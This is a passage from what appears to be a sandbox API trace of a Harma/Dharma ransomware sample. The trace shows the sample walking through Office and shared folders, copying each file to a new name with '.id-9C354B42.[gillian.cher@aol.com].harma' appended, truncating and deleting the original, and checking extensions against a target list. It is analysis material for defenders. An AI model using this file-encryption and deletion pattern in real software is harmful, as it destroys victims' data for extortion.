dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0041.576] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=6421) returned 1 [0041.576] CloseHandle (hObject=0x19c) returned 1 [0041.576] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 0x2020 [0041.576] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0041.576] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0041.576] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.576] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.576] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0041.577] GetLastError () returned 0x0 [0041.577] ReadFile (in: hFile=0x19c, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x1915, lpOverlapped=0x0) returned 1 [0041.579] WriteFile (in: hFile=0x188, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x1920, lpOverlapped=0x0) returned 1 [0041.580] ReadFile (in: hFile=0x19c, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.580] WriteFile (in: hFile=0x188, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xee, lpOverlapped=0x0) returned 1 [0041.580] SetEndOfFile (hFile=0x188) returned 1 [0041.580] CloseHandle (hObject=0x188) returned 1 [0041.581] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.581] SetEndOfFile (hFile=0x19c) returned 1 [0041.582] CloseHandle (hObject=0x19c) returned 1 [0041.582] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0041.583] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 1 [0041.583] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0041.583] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0041.583] lstrlenW (lpString=".doc") returned 4 [0041.583] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.583] lstrlenW (lpString=".docx") returned 5 [0041.584] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0041.584] lstrlenW (lpString=".pdf") returned 4 [0041.584] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.584] lstrlenW (lpString=".xls") returned 4 [0041.584] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.584] lstrlenW (lpString=".xlsx") returned 5 [0041.584] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0041.584] lstrlenW (lpString=".ppt") returned 4 [0041.584] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.584] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0041.584] lstrlenW (lpString=".zip") returned 4 [0041.584] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.584] lstrlenW (lpString=".rar") returned 4 [0041.584] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.584] lstrlenW (lpString=".bz2") returned 4 [0041.584] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.584] lstrlenW (lpString=".7z") returned 3 [0041.584] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.584] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0041.584] lstrlenW (lpString=".dbf") returned 4 [0041.584] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.585] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0041.585] lstrlenW (lpString=".1cd") returned 4 [0041.585] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.585] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0041.585] lstrlenW (lpString=".jpg") returned 4 [0041.585] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.585] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0041.585] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0041.585] lstrlenW (lpString=".doc") returned 4 [0041.585] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.585] lstrlenW (lpString=".docx") returned 5 [0041.585] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0041.585] lstrlenW (lpString=".pdf") returned 4 [0041.586] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.586] lstrlenW (lpString=".xls") returned 4 [0041.586] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.586] lstrlenW (lpString=".xlsx") returned 5 [0041.586] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0041.586] lstrlenW (lpString=".ppt") returned 4 [0041.586] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.586] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0041.586] lstrlenW (lpString=".zip") returned 4 [0041.586] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.586] lstrlenW (lpString=".rar") returned 4 [0041.586] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.586] lstrlenW (lpString=".bz2") returned 4 [0041.586] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.586] lstrlenW (lpString=".7z") returned 3 [0041.586] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.586] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0041.586] lstrlenW (lpString=".dbf") returned 4 [0041.586] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.586] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0041.586] lstrlenW (lpString=".1cd") returned 4 [0041.586] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.586] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0041.586] lstrlenW (lpString=".jpg") returned 4 [0041.586] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.177] lstrcmpiW (lpString1=".EPS", lpString2=".harma") returned -1 [0042.178] lstrlenW (lpString="MS.EPS") returned 6 [0042.178] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0042.445] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=15067) returned 1 [0042.445] CloseHandle (hObject=0x1a0) returned 1 [0042.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 0x20 [0042.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0042.447] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0042.447] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.447] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.448] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0042.448] GetLastError () returned 0x0 [0042.448] ReadFile (in: hFile=0x1a0, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x3adb, lpOverlapped=0x0) returned 1 [0042.598] WriteFile (in: hFile=0x1b0, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x3ae0, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x3ae0, lpOverlapped=0x0) returned 1 [0042.600] ReadFile (in: hFile=0x1a0, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.600] WriteFile (in: hFile=0x1b0, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0042.600] SetEndOfFile (hFile=0x1b0) returned 1 [0042.600] CloseHandle (hObject=0x1b0) returned 1 [0042.601] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.601] SetEndOfFile (hFile=0x1a0) returned 1 [0042.602] CloseHandle (hObject=0x1a0) returned 1 [0042.603] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0042.603] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 1 [0042.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0042.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0042.603] lstrlenW (lpString=".doc") returned 4 [0042.603] lstrcmpiW (lpString1=".doc", lpString2=".EPS") returned -1 [0042.603] lstrlenW (lpString=".docx") returned 5 [0042.603] lstrcmpiW (lpString1=".docx", lpString2="S.EPS") returned -1 [0042.604] lstrlenW (lpString=".pdf") returned 4 [0042.604] lstrcmpiW (lpString1=".pdf", lpString2=".EPS") returned 1 [0042.604] lstrlenW (lpString=".xls") returned 4 [0042.604] lstrcmpiW (lpString1=".xls", lpString2=".EPS") returned 1 [0042.604] lstrlenW (lpString=".xlsx") returned 5 [0042.604] lstrcmpiW (lpString1=".xlsx", lpString2="S.EPS") returned -1 [0042.604] lstrlenW (lpString=".ppt") returned 4 [0042.604] lstrcmpiW (lpString1=".ppt", lpString2=".EPS") returned 1 [0042.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0042.604] lstrlenW (lpString=".zip") returned 4 [0042.604] lstrcmpiW (lpString1=".zip", lpString2=".EPS") returned 1 [0042.604] lstrlenW (lpString=".rar") returned 4 [0042.604] lstrcmpiW (lpString1=".rar", lpString2=".EPS") returned 1 [0042.604] lstrlenW (lpString=".bz2") returned 4 [0042.604] lstrcmpiW (lpString1=".bz2", lpString2=".EPS") returned -1 [0042.604] lstrlenW (lpString=".7z") returned 3 [0042.604] lstrcmpiW (lpString1=".7z", lpString2="EPS") returned -1 [0042.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0042.604] lstrlenW (lpString=".dbf") returned 4 [0042.604] lstrcmpiW (lpString1=".dbf", lpString2=".EPS") returned -1 [0042.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0042.604] lstrlenW (lpString=".1cd") returned 4 [0042.604] lstrcmpiW (lpString1=".1cd", lpString2=".EPS") returned -1 [0042.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0042.604] lstrlenW (lpString=".jpg") returned 4 [0042.604] lstrcmpiW (lpString1=".jpg", lpString2=".EPS") returned 1 [0042.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0042.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0042.605] lstrlenW (lpString=".doc") returned 4 [0042.605] lstrcmpiW (lpString1=".doc", lpString2=".EPS") returned -1 [0042.605] lstrlenW (lpString=".docx") returned 5 [0042.605] lstrcmpiW (lpString1=".docx", lpString2="S.EPS") returned -1 [0042.605] lstrlenW (lpString=".pdf") returned 4 [0042.605] lstrcmpiW (lpString1=".pdf", lpString2=".EPS") returned 1 [0042.605] lstrlenW (lpString=".xls") returned 4 [0042.605] lstrcmpiW (lpString1=".xls", lpString2=".EPS") returned 1 [0042.605] lstrlenW (lpString=".xlsx") returned 5 [0042.605] lstrcmpiW (lpString1=".xlsx", lpString2="S.EPS") returned -1 [0042.605] lstrlenW (lpString=".ppt") returned 4 [0042.605] lstrcmpiW (lpString1=".ppt", lpString2=".EPS") returned 1 [0042.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0042.605] lstrlenW (lpString=".zip") returned 4 [0042.605] lstrcmpiW (lpString1=".zip", lpString2=".EPS") returned 1 [0042.605] lstrlenW (lpString=".rar") returned 4 [0042.605] lstrcmpiW (lpString1=".rar", lpString2=".EPS") returned 1 [0042.605] lstrlenW (lpString=".bz2") returned 4 [0042.605] lstrcmpiW (lpString1=".bz2", lpString2=".EPS") returned -1 [0042.605] lstrlenW (lpString=".7z") returned 3 [0042.605] lstrcmpiW (lpString1=".7z", lpString2="EPS") returned -1 [0042.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0042.605] lstrlenW (lpString=".dbf") returned 4 [0042.605] lstrcmpiW (lpString1=".dbf", lpString2=".EPS") returned -1 [0042.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0042.606] lstrlenW (lpString=".1cd") returned 4 [0042.606] lstrcmpiW (lpString1=".1cd", lpString2=".EPS") returned -1 [0042.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0042.606] lstrlenW (lpString=".jpg") returned 4 [0042.606] lstrcmpiW (lpString1=".jpg", lpString2=".EPS") returned 1 [0042.606] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0042.606] lstrlenW (lpString="MS.GIF") returned 6 [0042.606] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0042.606] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=1069) returned 1 [0042.606] CloseHandle (hObject=0x1a0) returned 1 [0042.606] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 0x20 [0042.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0042.607] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0042.607] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.607] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.607] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0042.607] GetLastError () returned 0x0 [0042.607] ReadFile (in: hFile=0x1a0, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x42d, lpOverlapped=0x0) returned 1 [0042.614] WriteFile (in: hFile=0x1b0, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x430, lpOverlapped=0x0) returned 1 [0042.615] ReadFile (in: hFile=0x1a0, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.615] WriteFile (in: hFile=0x1b0, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0042.615] SetEndOfFile (hFile=0x1b0) returned 1 [0042.615] CloseHandle (hObject=0x1b0) returned 1 [0042.616] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.616] SetEndOfFile (hFile=0x1a0) returned 1 [0042.617] CloseHandle (hObject=0x1a0) returned 1 [0042.617] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0042.618] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 1 [0042.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0042.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0042.618] lstrlenW (lpString=".doc") returned 4 [0042.618] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0042.618] lstrlenW (lpString=".docx") returned 5 [0042.618] lstrcmpiW (lpString1=".docx", lpString2="S.GIF") returned -1 [0042.618] lstrlenW (lpString=".pdf") returned 4 [0042.618] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0042.618] lstrlenW (lpString=".xls") returned 4 [0042.618] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0042.618] lstrlenW (lpString=".xlsx") returned 5 [0042.618] lstrcmpiW (lpString1=".xlsx", lpString2="S.GIF") returned -1 [0042.618] lstrlenW (lpString=".ppt") returned 4 [0042.618] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0042.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0042.619] lstrlenW (lpString=".zip") returned 4 [0042.619] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0042.619] lstrlenW (lpString=".rar") returned 4 [0042.619] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0042.619] lstrlenW (lpString=".bz2") returned 4 [0042.619] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0042.619] lstrlenW (lpString=".7z") returned 3 [0042.619] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0042.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0042.619] lstrlenW (lpString=".dbf") returned 4 [0042.619] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0042.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0042.619] lstrlenW (lpString=".1cd") returned 4 [0042.619] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0042.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0042.619] lstrlenW (lpString=".jpg") returned 4 [0042.619] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0042.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0042.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0042.619] lstrlenW (lpString=".doc") returned 4 [0042.619] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0042.619] lstrlenW (lpString=".docx") returned 5 [0042.619] lstrcmpiW (lpString1=".docx", lpString2="S.GIF") returned -1 [0042.619] lstrlenW (lpString=".pdf") returned 4 [0042.620] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0042.620] lstrlenW (lpString=".xls") returned 4 [0042.620] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0042.620] lstrlenW (lpString=".xlsx") returned 5 [0042.620] lstrcmpiW (lpString1=".xlsx", lpString2="S.GIF") returned -1 [0042.620] lstrlenW (lpString=".ppt") returned 4 [0042.620] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0042.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0042.620] lstrlenW (lpString=".zip") returned 4 [0042.620] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0042.620] lstrlenW (lpString=".rar") returned 4 [0042.620] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0042.620] lstrlenW (lpString=".bz2") returned 4 [0042.620] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0042.620] lstrlenW (lpString=".7z") returned 3 [0042.620] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0042.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0042.620] lstrlenW (lpString=".dbf") returned 4 [0042.620] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0042.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0042.620] lstrlenW (lpString=".1cd") returned 4 [0042.620] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0042.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0042.620] lstrlenW (lpString=".jpg") returned 4 [0042.620] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0042.621] lstrcmpiW (lpString1=".JPG", lpString2=".harma") returned 1 [0042.621] lstrlenW (lpString="MS.JPG") returned 6 [0042.621] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0043.525] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=1061) returned 1 [0043.525] CloseHandle (hObject=0x1a4) returned 1 [0043.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 0x20 [0043.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 